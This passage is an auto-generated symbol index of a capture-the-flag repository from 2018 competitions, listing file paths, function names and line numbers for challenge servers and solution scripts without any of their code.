  function initial (line 1161) | void initial() {
  function main (line 1170) | int main(int argc, char const* argv[])

FILE: 2018/0ctf-quals-2018/pwn/babyheap/solve_babyheap.py
  function alloc (line 11) | def alloc(size):
  function update (line 16) | def update(index,size,content):
  function delete (line 25) | def delete(index):
  function view (line 30) | def view(index):
  function main (line 37) | def main():

FILE: 2018/0ctf-quals-2018/pwn/babystack/solve_babystack_ref.py
  function calcpow (line 29) | def calcpow(chal):
  function get_connection (line 37) | def get_connection():
  function exploit (line 40) | def exploit(r):

FILE: 2018/35c3-2018/crypto/post_quantum/challenge.py
  function matrix_vector_multiply (line 8) | def matrix_vector_multiply(columns, vector):
  function bitvector_to_bytes (line 19) | def bitvector_to_bytes(bitvector):
  function bitvector_from_bytes (line 22) | def bitvector_from_bytes(bytes):
  class CodeBasedEncryptionScheme (line 25) | class CodeBasedEncryptionScheme(object):
    method new (line 28) | def new(cls, bitlength=48):
    method __init__ (line 32) | def __init__(self, key):
    method keygen (line 38) | def keygen(cls, bitlength):
    method add_encoding (line 43) | def add_encoding(self, message):
    method decode (line 54) | def decode(self, message):
    method encrypt (line 68) | def encrypt(self, message):
    method decrypt (line 96) | def decrypt(self, ciphertext):

FILE: 2018/35c3-2018/pwn/Junior-Stringmaster2/solve.py
  function swap (line 11) | def swap(i1,i2):
  function replace (line 13) | def replace(c1,c2):
  function printt (line 16) | def printt():
  function quit (line 18) | def quit():

FILE: 2018/35c3-2018/pwn/Junior-Stringmaster2/stringmaster2.cpp
  function print_menu (line 14) | void print_menu() {
  function play (line 24) | void play() {
  function main (line 106) | int main() {

FILE: 2018/35c3-2018/pwn/collection/exp.py
  function p64 (line 9) | def p64(x):
  function u64 (line 12) | def u64(x):
  function fake (line 19) | def fake(addr):
  function r64 (line 41) | def r64(addr):
  function w64 (line 45) | def w64(addr, data):

FILE: 2018/bctf-2018/pwn/easiest/exp.py
  function attach (line 23) | def attach(addr):
  function add (line 28) | def add(idx, size, data):
  function del1 (line 34) | def del1(idx):
  function del2 (line 38) | def del2(idx):

FILE: 2018/codegate-quals-2018/pwn/gamebox1/_7amebox_patched.py
  class Stdin (line 23) | class Stdin:
    method read (line 24) | def read(self, size):
    method write (line 36) | def write(self, data):
  class Stdout (line 40) | class Stdout:
    method read (line 41) | def read(self, size):
    method write (line 44) | def write(self, data):
  class Register (line 51) | class Register:
    method __init__ (line 52) | def __init__(self):
    method init_register (line 56) | def init_register(self):
    method set_register (line 60) | def set_register(self, reg, value):
    method get_register (line 72) | def get_register(self, reg):
  class FileSystem (line 85) | class FileSystem:
    method __init__ (line 86) | def __init__(self):
    method load_file (line 89) | def load_file(self, filename):
    method open (line 94) | def open(self, filename):
  class File (line 104) | class File:
    method __init__ (line 105) | def __init__(self):
    method set_buffer (line 110) | def set_buffer(self, data):
    method read (line 114) | def read(self, size):
    method write (line 127) | def write(self, data):
  class Memory (line 131) | class Memory:
    method __init__ (line 132) | def __init__(self, size):
    method __getitem__ (line 138) | def __getitem__(self, key):
    method __setitem__ (line 141) | def __setitem__(self, key, val):
    method get_perm (line 144) | def get_perm(self, addr):
    method set_perm (line 150) | def set_perm(self, addr, perm):
    method allocate (line 153) | def allocate(self, new_perm, addr=None):
    method check_permission (line 167) | def check_permission(self, addr, perm):
  class EMU (line 174) | class EMU:
    method __init__ (line 175) | def __init__(self):
    method set_timeout (line 206) | def set_timeout(self, timeout = 30):
    method set_mitigation (line 213) | def set_mitigation(self, nx=False):
    method init_pipeline (line 217) | def init_pipeline(self):
    method load_firmware (line 221) | def load_firmware(self, firm_name):
    method bit_concat (line 254) | def bit_concat(self, bit_list):
    method execute (line 262) | def execute(self):
    method dispatch (line 285) | def dispatch(self, addr):
    method read_memory (line 318) | def read_memory(self, addr, length):
    method read_memory_str (line 331) | def read_memory_str(self, addr):
    method read_memory_tri (line 351) | def read_memory_tri(self, addr, count):
    method write_memory (line 369) | def write_memory(self, addr, data, length):
    method write_memory_tri (line 380) | def write_memory_tri(self,addr,data_list, count):
    method op_x0 (line 393) | def op_x0(self, op_type, opers):
    method op_x1 (line 406) | def op_x1(self, op_type, opers):
    method op_x2 (line 420) | def op_x2(self, op_type, opers):
    method op_x3 (line 431) | def op_x3(self, op_type, opers):
    method op_x4 (line 442) | def op_x4(self, op_type, opers):
    method op_x5 (line 463) | def op_x5(self, op_type, opers):
    method op_x6 (line 480) | def op_x6(self, op_type, opers, is_ins=True):
    method op_x7 (line 505) | def op_x7(self, op_type, opers):
    method op_x9 (line 522) | def op_x9(self, op_type, opers):
    method op_x10 (line 544) | def op_x10(self, op_type, opers):
    method op_x11 (line 565) | def op_x11(self, op_type, opers):
    method op_x12 (line 587) | def op_x12(self, op_type, opers):
    method op_x13 (line 609) | def op_x13(self, op_type, opers):
    method op_x14 (line 630) | def op_x14(self, op_type, opers):
    method op_x15 (line 651) | def op_x15(self, op_type, opers):
    method op_x16 (line 672) | def op_x16(self, op_type, opers):
    method op_x17 (line 699) | def op_x17(self, op_type, opers):
    method op_x18 (line 713) | def op_x18(self, op_type, opers):
    method op_x19 (line 727) | def op_x19(self, op_type, opers):
    method op_x20 (line 749) | def op_x20(self, op_type, opers):
    method op_x21 (line 771) | def op_x21(self, op_type, opers):
    method op_x22 (line 793) | def op_x22(self, op_type, opers):
    method op_x23 (line 815) | def op_x23(self, op_type, opers):
    method op_x24 (line 855) | def op_x24(self, op_type, opers):
    method op_x25 (line 895) | def op_x25(self, op_type, opers):
    method op_x26 (line 921) | def op_x26(self, op_type, opers):
    method op_x27 (line 947) | def op_x27(self, op_type, opers):
    method op_x28 (line 972) | def op_x28(self, op_type, opers):
    method op_x29 (line 999) | def op_x29(self, op_type, opers):
    method op_x30 (line 1021) | def op_x30(self, op_type, opers):
    method op_x8 (line 1048) | def op_x8(self, op_type, opers):
    method sys_s0 (line 1060) | def sys_s0(self):
    method sys_s1 (line 1065) | def sys_s1(self):
    method sys_s2 (line 1083) | def sys_s2(self):
    method sys_s3 (line 1099) | def sys_s3(self):
    method sys_s4 (line 1116) | def sys_s4(self):
    method sys_s5 (line 1129) | def sys_s5(self):
    method terminate (line 1135) | def terminate(self, msg):

FILE: 2018/codegate-quals-2018/pwn/gamebox1/solve.py
  function u21 (line 12) | def u21(s):
  function p21 (line 22) | def p21(num):
  function movI (line 29) | def movI(reg, val):
  function syscall (line 37) | def syscall():
  function inc (line 45) | def inc(reg):
  function dec (line 52) | def dec(reg):
  function check (line 59) | def check():

FILE: 2018/codegate-quals-2018/pwn/marimo/solve.py
  function attach (line 12) | def attach(addr):
  function sell (line 15) | def sell(idx):
  function buy (line 23) | def buy(size, name, profile):
  function view (line 35) | def view(idx, modify=False, profile=None):
  function free_marimo (line 63) | def free_marimo(name, profile):

FILE: 2018/codegate-quals-2018/pwn/melong/solve.py
  function attach (line 11) | def attach(addr):
  function check (line 14) | def check(height, weight):
  function exercise (line 22) | def exercise():
  function register (line 26) | def register(size):
  function write_diary (line 32) | def write_diary(payload):

FILE: 2018/codegate-quals-2018/web/rbSql/dbconn.php
  function rbSql (line 20) | function rbSql($cmd,$table,$query){
  function rbParse (line 112) | function rbParse($rawData){
  function rbPack (line 159) | function rbPack($data){
  function rbGetPath (line 171) | function rbGetPath($table){
  function rbReadFile (line 178) | function rbReadFile($filePath){
  function rbWriteFile (line 185) | function rbWriteFile($filePath,$fileContent){

FILE: 2018/codegate-quals-2018/web/rbSql/exp.py
  function join (line 9) | def join():

FILE: 2018/csaw-quals-2018/ppc/bin_t/exp.py
  function debug (line 5) | def debug(msg):
  class Node (line 9) | class Node():
    method __init__ (line 10) | def __init__(self, key):
  class AVLTree (line 15) | class AVLTree():
    method __init__ (line 16) | def __init__(self, *args):
    method height (line 25) | def height(self):
    method is_leaf (line 31) | def is_leaf(self):
    method insert (line 34) | def insert(self, key):
    method rebalance (line 56) | def rebalance(self):
    method rrotate (line 84) | def rrotate(self):
    method lrotate (line 96) | def lrotate(self):
    method update_heights (line 108) | def update_heights(self, recurse=True):
    method update_balances (line 121) | def update_balances(self, recurse=True):
    method delete (line 133) | def delete(self, key):
    method logical_predecessor (line 167) | def logical_predecessor(self, node):
    method logical_successor (line 180) | def logical_successor(self, node):
    method check_balanced (line 195) | def check_balanced(self):
    method inorder_traverse (line 204) | def inorder_traverse(self):
    method preorder_traverse (line 221) | def preorder_traverse(self):
    method display (line 235) | def display(self, level=0, pref=''):

FILE: 2018/csaw-quals-2018/pwn/alien/exp.py
  function attach (line 23) | def attach(addr):
  function new_alien (line 31) | def new_alien(size, name):
  function consume_alien (line 36) | def consume_alien(idx):

FILE: 2018/csaw-quals-2018/pwn/doubletrouble/exp.py
  function attach (line 24) | def attach(addr):
  function pp (line 29) | def pp(x):

FILE: 2018/csaw-quals-2018/pwn/plc/exp.py
  function validate_checksum (line 6) | def validate_checksum(code):

FILE: 2018/ctfzone-quals-2018/crypto/SignatureServer/exp.py
  function sign (line 20) | def sign(data):
  function eeee (line 30) | def eeee(data,sig):

FILE: 2018/ctfzone-quals-2018/crypto/SignatureServer/exp2.py
  function sign (line 21) | def sign(data):
  function eeee (line 31) | def eeee(data,sig):

FILE: 2018/ctfzone-quals-2018/crypto/SignatureServer/server.py
  function extend_signature_key (line 27) | def extend_signature_key(initial_key):
  class Signer (line 33) | class Signer:
    method __init__ (line 35) | def __init__(self):
    method sign_byte (line 42) | def sign_byte(self,a,ind):
    method sign (line 47) | def sign(self,data):
    method execute_command (line 60) | def execute_command(self,data_sig):
  function process (line 81) | def process(data,signer):
  class ThreadedTCPRequestHandler (line 93) | class ThreadedTCPRequestHandler(SocketServer.BaseRequestHandler):
    method handle (line 95) | def handle(self):
    method finish (line 110) | def finish(self):
  class ThreadedTCPServer (line 114) | class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPSer...

FILE: 2018/defcon-quals-2018/pwn/babypwn/baby.c
  function main (line 10) | int main()

FILE: 2018/defcon-quals-2018/pwn/babypwn/solve_babypwn_ref.py
  function pow_hash (line 11) | def pow_hash(challenge, solution):
  function check_pow (line 14) | def check_pow(challenge, n, solution):
  function solve_pow (line 18) | def solve_pow(challenge, n):
  function hit (line 26) | def hit():

FILE: 2018/dragonctf-2018/crypto/aes/exp.py
  function xor (line 9) | def xor(a, b):
  function pad (line 13) | def pad(msg):
  function bruteforce (line 30) | def bruteforce(iv,msg):
  function bruteforce2 (line 116) | def bruteforce2(iv,msg):

FILE: 2018/dragonctf-2018/crypto/aes/exp12.py
  function xor (line 7) | def xor(a, b):
  function pad (line 11) | def pad(msg):
  function bruteforce (line 28) | def bruteforce(iv,msg):

FILE: 2018/dragonctf-2018/crypto/aes/exp2.py
  function xor (line 7) | def xor(a, b):
  function pad (line 11) | def pad(msg):
  function bruteforce (line 28) | def bruteforce(iv,msg):
  function bruteforce2 (line 114) | def bruteforce2(iv,msg):

FILE: 2018/dragonctf-2018/crypto/aes/exp3.py
  function xor (line 7) | def xor(a, b):
  function pad (line 11) | def pad(msg):
  function bruteforce (line 28) | def bruteforce(iv,msg):
  function getlast (line 138) | def getlast(d):

FILE: 2018/dragonctf-2018/crypto/aes/exp43.py
  function xor (line 7) | def xor(a, b):
  function pad (line 11) | def pad(msg):
  function bruteforce (line 28) | def bruteforce(iv,msg):

FILE: 2018/dragonctf-2018/crypto/aes/server.py
  class CryptoError (line 11) | class CryptoError(Exception):
  function split_by (line 15) | def split_by(data, step):
  function xor (line 19) | def xor(a, b):
  function pad (line 24) | def pad(msg):
  function unpad (line 29) | def unpad(msg):
  function tsb_encrypt (line 35) | def tsb_encrypt(aes, msg):
  function tsb_decrypt (line 52) | def tsb_decrypt(aes, msg):
  function send_binary (line 69) | def send_binary(s, msg):
  function send_enc (line 73) | def send_enc(s, aes, msg):
  function recv_exact (line 76) | def recv_exact(s, length):
  function recv_binary (line 86) | def recv_binary(s):
  function recv_enc (line 91) | def recv_enc(s, aes):
  function main (line 95) | def main(s):
  class TaskHandler (line 117) | class TaskHandler(SocketServer.BaseRequestHandler):
    method handle (line 118) | def handle(self):

FILE: 2018/dragonctf-2018/web/Nodepad/cli.py
  class Cli (line 8) | class Cli(Saker):
    method __init__ (line 10) | def __init__(self, url):
    method getToken (line 14) | def getToken(self):
    method login (line 17) | def login(self, username, password="test"):
    method addNotes (line 28) | def addNotes(self, title, content=""):

FILE: 2018/google-2018/web/gcalc/app.js
  function k (line 14) | function k(a) {
  function l (line 35) | function l(a, b, c, d, f) {
  function q (line 53) | function q(a, b) {
  function n (line 57) | function n(a) {
  function p (line 66) | function p(a, b) {
  function r (line 77) | function r(a) {
  function t (line 85) | function t(a) {
  function u (line 153) | function u(a) {

FILE: 2018/hacklu-2018/crypto/relate/exp.py
  function ADD (line 7) | def ADD(a):
  function XOR (line 15) | def XOR(a):

FILE: 2018/hacklu-2018/pwn/heap_heaven_2/exp.py
  function attach (line 22) | def attach(addr):
  function w (line 27) | def w(offset, data):
  function f (line 33) | def f(offset):
  function l (line 37) | def l(offset):

FILE: 2018/hacklu-2018/pwn/heap_hell/exp.py
  function attach (line 22) | def attach(addr):
  function w (line 27) | def w(offset, size, data):
  function f (line 33) | def f(offset):
  function l (line 37) | def l(offset):

FILE: 2018/hacklu-2018/pwn/heap_hell_2/exp.py
  function attach (line 24) | def attach(addr):
  function w (line 29) | def w(offset, size, data):
  function f (line 35) | def f(offset):
  function l (line 39) | def l(offset):

FILE: 2018/hacklu-2018/pwn/slot_machine/exp1.py
  function attach (line 23) | def attach(addr):
  function m (line 28) | def m(size):
  function f (line 32) | def f(idx):
  function w (line 36) | def w(data):

FILE: 2018/hacklu-2018/pwn/slot_machine/exp2.py
  function attach (line 23) | def attach(addr):
  function m (line 28) | def m(size):
  function f (line 32) | def f(idx):
  function w (line 36) | def w(data):

FILE: 2018/hctf-quals-2018/crypto/xor_game/challenge.py
  function enc (line 6) | def enc(data, key):

FILE: 2018/hctf-quals-2018/crypto/xor_rsa/rsa.py
  class ThreadedTCPServer (line 10) | class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPSer...
  class RSATCPHandler (line 14) | class RSATCPHandler(SocketServer.BaseRequestHandler):
    method handle (line 15) | def handle(self):

FILE: 2018/hctf-quals-2018/crypto/xor_rsa/short.sage.py
  function short_pad_attack (line 8) | def short_pad_attack(c1, c2, e, n):
  function related_message_attack (line 29) | def related_message_attack(c1, c2, diff, e, n):

FILE: 2018/hctf-quals-2018/misc/freqgame/freqexp.py
  function get_number (line 9) | def get_number(x, freq,rge):

FILE: 2018/hctf-quals-2018/misc/freqgame/freqgame.py
  function get_number (line 3) | def get_number(x, freq,rge):
  function divide_flag (line 7) | def divide_flag(token):
  function game (line 14) | def game(level,flag_list):
  function start_game (line 28) | def start_game(tcpClisock,token,userlogger):

FILE: 2018/hitcon-2018/crypto/key/exp.py
  function enc (line 21) | def enc(data):
  function dec (line 28) | def dec(data):

FILE: 2018/hitcon-2018/crypto/key/exp2.py
  function enc (line 19) | def enc(data):
  function dec (line 26) | def dec(data):

FILE: 2018/hitcon-2018/crypto/key/exp3.py
  function enc (line 19) | def enc(data):
  function dec (line 26) | def dec(data):

FILE: 2018/hitcon-2018/crypto/key/server.py
  function genKey (line 9) | def genKey():
  function calc (line 20) | def calc(n,p,data):
  function readFlag (line 25) | def readFlag():

FILE: 2018/hitcon-2018/crypto/key/test.py
  function genKey (line 9) | def genKey():
  function calc (line 20) | def calc(n,p,data):
  function readFlag (line 25) | def readFlag():

FILE: 2018/hitcon-2018/misc/ev3scanner/test.py
  function getres (line 46) | def getres():

FILE: 2018/hitcon-2018/pwn/abyss/exp1.py
  function my_asm (line 22) | def my_asm(instrcutions):
  function to_int (line 74) | def to_int(val):
  function put_shellcode (line 80) | def put_shellcode(shellcode):
  function OFFSET (line 91) | def OFFSET(v, bits):
  function PML4OFF (line 94) | def PML4OFF(v):
  function PDPOFF (line 97) | def PDPOFF(v):
  function PDOFF (line 100) | def PDOFF(v):

FILE: 2018/hitcon-2018/pwn/abyss/exp2.py
  function my_asm (line 22) | def my_asm(instrcutions):
  function to_int (line 74) | def to_int(val):
  function put_shellcode (line 80) | def put_shellcode(shellcode):
  function OFFSET (line 91) | def OFFSET(v, bits):
  function PML4OFF (line 94) | def PML4OFF(v):
  function PDPOFF (line 97) | def PDPOFF(v):
  function PDOFF (line 100) | def PDOFF(v):

FILE: 2018/hitcon-2018/pwn/abyss/exp3.py
  function my_asm (line 22) | def my_asm(instrcutions):
  function to_int (line 74) | def to_int(val):
  function put_shellcode (line 80) | def put_shellcode(shellcode):
  function OFFSET (line 91) | def OFFSET(v, bits):
  function PML4OFF (line 94) | def PML4OFF(v):
  function PDPOFF (line 97) | def PDPOFF(v):
  function PDOFF (line 100) | def PDOFF(v):

FILE: 2018/hitcon-2018/pwn/baby_tcache/exp.py
  function attach (line 23) | def attach(addr):
  function malloc (line 28) | def malloc(size, data):
  function free (line 33) | def free(idx):

FILE: 2018/hitcon-2018/pwn/children_tcache/exp.py
  function attach (line 25) | def attach(addr):
  function malloc (line 30) | def malloc(size, data):
  function show (line 35) | def show(idx):
  function free (line 39) | def free(idx):

FILE: 2018/meepwn-final-2018/crypto/esor/exp.py
  function encrypt (line 10) | def encrypt(prefix,suffix):
  function decrypt (line 20) | def decrypt(data):
  function deal (line 28) | def deal(data):

FILE: 2018/meepwn-final-2018/crypto/esor/exp2.py
  function encrypt (line 10) | def encrypt(prefix,suffix):
  function decrypt (line 20) | def decrypt(data):
  function deal (line 28) | def deal(data):

FILE: 2018/meepwn-final-2018/crypto/esor/src.py
  class Unbuffered (line 13) | class Unbuffered(object):
    method __init__ (line 14) | def __init__(self, stream):
    method write (line 16) | def write(self, data):
    method __getattr__ (line 19) | def __getattr__(self, attr):
  function pad (line 33) | def pad(msg):
  function unpad (line 37) | def unpad(msg):
  function compute_hmac (line 40) | def compute_hmac(msg):
  function encrypt (line 43) | def encrypt(prefix='', suffix=''):
  function decrypt (line 51) | def decrypt(data):

FILE: 2018/meepwn-final-2018/pwn/babyarm/exp.py
  function attach (line 22) | def attach(addr):
  function add (line 26) | def add(idx, content):
  function show (line 34) | def show(idx):
  function dele (line 40) | def dele(idx):
  function info (line 46) | def info():

FILE: 2018/meepwn-final-2018/pwn/jump/exp.py
  function init (line 10) | def init(binary, host, port, R=True, E=False):
  function attach (line 25) | def attach(addr):
  function exploit (line 30) | def exploit(host):

FILE: 2018/meepwn-quals-2018/crypto/bazik/solve.py
  function matrix_overview (line 4) | def matrix_overview(BB, bound):
  function coppersmith_howgrave_univariate (line 14) | def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):

FILE: 2018/meepwn-quals-2018/crypto/bitbitbit/midbit.py
  function pad (line 21) | def pad(num, length):
  function xor (line 27) | def xor(a, b):
  function gen_key (line 31) | def gen_key():
  function proof_of_shit (line 57) | def proof_of_shit():

FILE: 2018/meepwn-quals-2018/crypto/esor/server.py
  class Unbuffered (line 13) | class Unbuffered(object):
    method __init__ (line 14) | def __init__(self, stream):
    method write (line 16) | def write(self, data):
    method __getattr__ (line 19) | def __getattr__(self, attr):
  function pad (line 31) | def pad(msg):
  function unpad (line 35) | def unpad(msg):
  function compute_hmac (line 38) | def compute_hmac(msg):
  function encrypt (line 41) | def encrypt(prefix='', suffix=''):
  function decrypt (line 49) | def decrypt(data):

FILE: 2018/meepwn-quals-2018/crypto/still_old_school/aes_server.py
  function to_string (line 21) | def to_string(num, max_len = 128):
  function pad (line 25) | def pad(s):
  function unpad (line 29) | def unpad(s):
  function gen_key (line 32) | def gen_key(mask):
  function encrypt_msg (line 39) | def encrypt_msg(msg, key1, key2):
  function proof_of_work (line 46) | def proof_of_work():

FILE: 2018/meepwn-quals-2018/crypto/still_old_school/mid.py
  function mid (line 12) | def mid(pre1, pre2):

FILE: 2018/meepwn-quals-2018/crypto/still_old_school/sock.py
  function enc (line 9) | def enc(m='a'*16):
  function getflag (line 15) | def getflag():
  function b2n (line 20) | def b2n(b):

FILE: 2018/n1ctf-2018/crypto/baby_N1ES/N1ES.py
  function round_add (line 2) | def round_add(a, b):
  function permutate (line 9) | def permutate(table, block):
  function string_to_bits (line 12) | def string_to_bits(data):
  function generate (line 25) | def generate(o):
  class N1ES (line 42) | class N1ES:
    method __init__ (line 43) | def __init__(self, key):
    method gen_subkey (line 49) | def gen_subkey(self):
    method encrypt (line 61) | def encrypt(self, plaintext):
    method decrypt (line 75) | def decrypt(self, ctext):

FILE: 2018/n1ctf-2018/misc/math_gath/mathGame.py
  function isPrime (line 18) | def isPrime(n):
  function get_column (line 21) | def get_column(data, idx):
  function check (line 28) | def check(data, f):
  function find_points (line 49) | def find_points(data, f):
  function get_lines (line 165) | def get_lines(points):
  function get3 (line 178) | def get3(p1, p2, a, i):
  function resolve (line 185) | def resolve(vec, l):
  function find_point (line 196) | def find_point(lines):
  function handle (line 216) | def handle(f, debug = DEBUG):

FILE: 2018/n1ctf-2018/pwn/beeper/solve.py
  function attach (line 17) | def attach(addr):
  function show_message (line 26) | def show_message(idx):
  function remove_message (line 32) | def remove_message(idx):
  function buy_phone (line 38) | def buy_phone():
  function logout (line 42) | def logout(payload):

FILE: 2018/n1ctf-2018/pwn/network_card/solve.c
  type payload_t (line 20) | struct payload_t {
  function die (line 25) | void die(char *s)
  function dump (line 33) | void dump(unsigned char *mem, int len) {
  function shell (line 90) | void shell(void) {
  type file (line 105) | struct file
  function save_state (line 107) | static void save_state() {
  function leak1 (line 170) | void leak1() {
  function leak2 (line 205) | void leak2() {
  function escalate (line 264) | void escalate() {
  function exploit (line 299) | void exploit() {
  function main (line 317) | int main(void)

FILE: 2018/n1ctf-2018/pwn/null/solve.py
  function attach (line 17) | def attach(addr):
  function use (line 20) | def use(size, blocks, payload, inp):

FILE: 2018/n1ctf-2018/pwn/vote/solve.py
  function attach (line 19) | def attach(addr):
  function create (line 22) | def create(size, name):
  function show (line 30) | def show(idx):
  function vote (line 36) | def vote(idx):
  function result (line 42) | def result(idx):
  function cancel (line 46) | def cancel(idx):

FILE: 2018/n1ctf-2018/pwn/vote/solve2.py
  function attach (line 4) | def attach(*addrs):
  function create (line 9) | def create(size,name):
  function show (line 16) | def show(index):
  function vote (line 29) | def vote(index):
  function cancel (line 34) | def cancel(index):
  function main (line 39) | def main():

FILE: 2018/pico-2018/pwn/cake/solve_cake.py
  function make (line 13) | def make(name,price):
  function wait (line 17) | def wait():
  function serve (line 19) | def serve(index):
  function inspect (line 22) | def inspect(index):
  function close (line 30) | def close():
  function attach (line 32) | def attach(addr=0):

FILE: 2018/plaidctf-2018/pwn/shop/solve_shop.py
  function add (line 27) | def add(s1,s2,price):
  function initentershopname (line 33) | def initentershopname(name):
  function entershopname (line 35) | def entershopname(name):
  function show (line 38) | def show():
  function count (line 40) | def count(haystack):

FILE: 2018/seccon-quals-2018/pwn/q-escape/solve.c
  function die (line 17) | void die(const char* msg) {
  function hexdump (line 22) | void hexdump(uint8_t *mem, size_t len) {
  function lowmem_write (line 39) | void lowmem_write(uint64_t addr, uint8_t value) {
  function lowmem_read (line 43) | uint64_t lowmem_read(uint64_t addr) {
  function mmio_write (line 47) | void mmio_write(uint64_t addr, uint8_t value) {
  function mmio_read (line 51) | uint64_t mmio_read(uint64_t addr) {
  function set_sr (line 55) | void set_sr(int idx, int val) {
  function cydf_vga_mem_cmd_alloc (line 95) | void cydf_vga_mem_cmd_alloc(uint16_t size) {
  function cydf_vga_mem_cmd_read_8 (line 102) | void cydf_vga_mem_cmd_read_8(uint8_t idx, uint8_t byte) {
  function cydf_vga_mem_cmd_read_64 (line 109) | void cydf_vga_mem_cmd_read_64(uint8_t idx, uint64_t val) {
  function cydf_vga_mem_cmd_write (line 118) | void cydf_vga_mem_cmd_write(uint8_t idx) {
  function main (line 124) | int main(int argc, char const* argv[]) {

FILE: 2018/seccon-quals-2018/pwn/simplememo/exp.py
  function attach (line 27) | def attach(addr):
  function add (line 33) | def add(memo):
  function show (line 40) | def show(idx):
  function delete (line 45) | def delete(idx):
  function leak (line 49) | def leak(addr):
  function free (line 54) | def free(addr):
  function bye (line 58) | def bye():

FILE: 2018/starctf-2018/pwn/babystack/solve.py
  function attach (line 18) | def attach(addr):
  function proof (line 23) | def proof():

FILE: 2018/starctf-2018/pwn/calc/solve.py
  function attach (line 23) | def attach(addr):
  function proof (line 28) | def proof():
  function writemem (line 80) | def writemem(idx, val):
  function writemem_by_mum (line 106) | def writemem_by_mum(idx, val):

FILE: 2018/starctf-2018/pwn/heap/solve.py
  function attach (line 20) | def attach(addr):
  function malloc (line 23) | def malloc(size, content):
  function edit (line 31) | def edit(idx, content):
  function free (line 39) | def free(idx):
  function proof (line 47) | def proof():

FILE: 2018/starctf-2018/pwn/note/solve_note_ref.py
  function brute_force (line 36) | def brute_force(prefix,s):
  function debug (line 44) | def debug():
  function edit (line 49) | def edit(s):
  function show (line 53) | def show():
  function save (line 58) | def save():
  function changeID (line 62) | def changeID(s):
  function exit (line 66) | def exit():

FILE: 2018/starctf-2018/pwn/primepwn/solve.py
  function proof (line 21) | def proof():
  function attach (line 38) | def attach(addr):

FILE: 2018/starctf-2018/pwn/stackoverflow/solve.py
  function attach (line 21) | def attach(addr):
  function proof (line 26) | def proof(io):

FILE: 2018/starctf-2018/pwn/url/solve.py
  function attach (line 21) | def attach(addr):
  function create (line 24) | def create(size, url):
  function encode (line 32) | def encode(idx):
  function decode (line 38) | def decode(idx):
  function delete (line 44) | def delete(idx):
  function _list (line 50) | def _list():
  function proof (line 56) | def proof():
  function urlencode (line 114) | def urlencode(s):

FILE: 2018/starctf-2018/pwn/url2/solve.py
  function attach (line 22) | def attach(addr):
  function create (line 25) | def create(size, url):
  function encode (line 33) | def encode(idx):
  function decode (line 39) | def decode(idx):
  function delete (line 45) | def delete(idx):
  function _list (line 51) | def _list():
  function proof (line 57) | def proof():

FILE: 2018/starctf-2018/re/wasm/solve.py
  function xor (line 7) | def xor(a, b):

FILE: 2018/starctf-2018/re/wasm/tea.py
  function lshift4 (line 40) | def lshift4(a):
  function rshift5 (line 44) | def rshift5(a):
  function lshift4_add (line 48) | def lshift4_add(a, b):
  function rshift5_add (line 53) | def rshift5_add(a, b):
  function add (line 58) | def add(a, b):
  function sub (line 63) | def sub(a, b):
  function xor (line 68) | def xor(a, b, c):
  class TinyEncryptionAlgorithm (line 74) | class TinyEncryptionAlgorithm(object):
    method __init__ (line 78) | def __init__(self, delta=0x9e3779b9, summation=0xc6ef3720):
    method encrypt_block (line 82) | def encrypt_block(self, block, key):
    method decrypt_block (line 113) | def decrypt_block(self, block, key):
    method get_padded_plaintext (line 143) | def get_padded_plaintext(self, data):
    method remove_padding (line 153) | def remove_padding(self, data):
    method encrypt (line 162) | def encrypt(self, data, key):
    method decrypt (line 192) | def decrypt(self, data, key):
  function _main (line 220) | def _main(args):

FILE: 2018/twctf-2018/crypto/mixed/exp.py
  function init (line 15) | def init():
  function encrypt (line 19) | def encrypt(data):
  function encrypt_n (line 33) | def encrypt_n(n):
  function decrypt (line 47) | def decrypt(data):
  function get_key (line 56) | def get_key():
  function get_flag (line 102) | def get_flag():

FILE: 2018/twctf-2018/crypto/mixed/exp2.py
  function init (line 16) | def init():
  function encrypt (line 20) | def encrypt(data):
  function encrypt_n (line 39) | def encrypt_n(n):
  function decrypt (line 53) | def decrypt(data):
  function get_key (line 62) | def get_key():
  function get_flag (line 121) | def get_flag():

FILE: 2018/twctf-2018/crypto/mixed/lsbtest3.py
  function parity_oracle (line 3) | def parity_oracle(n, query):

FILE: 2018/twctf-2018/crypto/mixed/mt19937predictor.py
  class MT19937Predictor (line 9) | class MT19937Predictor():
    method __init__ (line 10) | def __init__(self):
    method __tempering (line 14) | def __tempering(self, y):
    method __untempering (line 21) | def __untempering(self, y):
    method __twister (line 28) | def __twister(self, k):
    method getrandbits (line 33) | def getrandbits(self, bits):
    method getrand32bits (line 48) | def getrand32bits(self):
    method setrand32bits (line 54) | def setrand32bits(self, y):
    method setrandbits (line 59) | def setrandbits(self, y, bits):
    method random (line 72) | def random(self):
    method setstate (line 82) | def setstate(self, mt, mti):
    method getstate (line 86) | def getstate(self):

FILE: 2018/twctf-2018/crypto/mixed/server.py
  function pad (line 18) | def pad(s):
  function unpad (line 22) | def unpad(s):
  function aes_encrypt (line 26) | def aes_encrypt(s):
  function aes_decrypt (line 31) | def aes_decrypt(s):
  function bulldozer (line 36) | def bulldozer(s):
  function encrypt (line 43) | def encrypt():
  function decrypt (line 48) | def decrypt():
  function print_flag (line 52) | def print_flag():
  function print_key (line 58) | def print_key():

FILE: 2018/uiuctf-2018/pwn/how2heap/solve_how2heap.py
  function lineup (line 11) | def lineup():
  function makenew (line 14) | def makenew(name,age):
  function delt (line 21) | def delt():
  function countt (line 24) | def countt():

FILE: 2018/wctf-2018/crypto/rsa/cinv.py
  function gcd (line 7) | def gcd(a,b):
  function inv (line 12) | def inv(a,m):
  function divmod (line 22) | def divmod(a, b, m):

FILE: 2018/wctf-2018/crypto/rsa/wmap.cpp
  function ll (line 17) | ll inv(ll a)
  function main (line 31) | int main()

FILE: 2018/wctf-2018/crypto/sgx_encrypt/exp.py
  function enc_one (line 10) | def enc_one(r,data):
  function enc_batch (line 18) | def enc_batch(r,data):
  function privilege (line 26) | def privilege(r,data):
  function format (line 32) | def format(s):
  function get_flag (line 37) | def get_flag(data):

FILE: 2018/wctf-2018/crypto/sgx_encrypt/exp2.py
  function enc_one (line 10) | def enc_one(r,data):
  function enc_batch (line 18) | def enc_batch(r,data):
  function privilege (line 26) | def privilege(r,data):
  function format (line 32) | def format(s):
  function get_flag (line 37) | def get_flag(data):
  function get_flag2 (line 71) | def get_flag2(data):

FILE: 2018/wctf-2018/pwn/klist/solve.c
